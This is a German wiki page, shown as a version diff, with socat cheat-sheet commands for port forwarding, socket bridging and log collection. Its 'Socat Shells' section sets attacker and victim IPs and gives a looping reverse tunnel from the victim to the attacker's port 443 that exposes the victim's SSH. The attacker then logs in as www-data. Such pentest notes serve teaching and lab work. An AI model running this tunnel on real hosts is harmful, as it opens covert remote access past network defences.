Socat: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 20: | Zeile 20: | ||
*socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr | *socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr | ||
;Opfer - Verbindung zu Angreifer auf Port 443 - Alles was dort herkommt wird an Port 22 weitergeleitet | ;Opfer - Verbindung zu Angreifer auf Port 443 - Alles was dort herkommt wird an Port 22 weitergeleitet | ||
| − | *while true; do socat TCP4: | + | *while true; do socat TCP4:$ANGREIFER:443 TCP4:127.0.0.1:22 ; done |
;Angreifer - Verbindung zum Opfer | ;Angreifer - Verbindung zum Opfer | ||
*ssh localhost -p 2222 -l www-data -i vulnerable | *ssh localhost -p 2222 -l www-data -i vulnerable | ||
Version vom 8. August 2021, 12:19 Uhr
Intallation
- sudo apt install socat
Connect zu einem Mailserver
- socat - TCP4:ox.xinux.org:25
Locale Portweiterleitung einmalige Verwendung
- socat TCP4-LISTEN:9922 TCP4:brian.tuxmen.de:8472
Locale Portweiterleitung inklusive Fork
- socat TCP4-LISTEN:9922,fork,reuseaddr TCP4:brian.tuxmen.de:8472
Lauchen auf TCP Port 3307 und weiterleiten an einen Unix Socket
- socat TCP-LISTEN:3307,reuseaddr,fork UNIX-CONNECT:/var/lib/mysql/mysql.sock
Nachrichten Samler
- socat -u TCP4-LISTEN:3334,reuseaddr,fork OPEN:/tmp/test.log,creat,append
Socat Shells
Remote Port2Port
Variablen
ANGREIFER=10.0.10.101 OPFER=10.0.10.104
- Angreifer - Weiterleiten des lokalen Ports 2222 nach 443
- socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
- Opfer - Verbindung zu Angreifer auf Port 443 - Alles was dort herkommt wird an Port 22 weitergeleitet
- while true; do socat TCP4:$ANGREIFER:443 TCP4:127.0.0.1:22 ; done
- Angreifer - Verbindung zum Opfer
- ssh localhost -p 2222 -l www-data -i vulnerable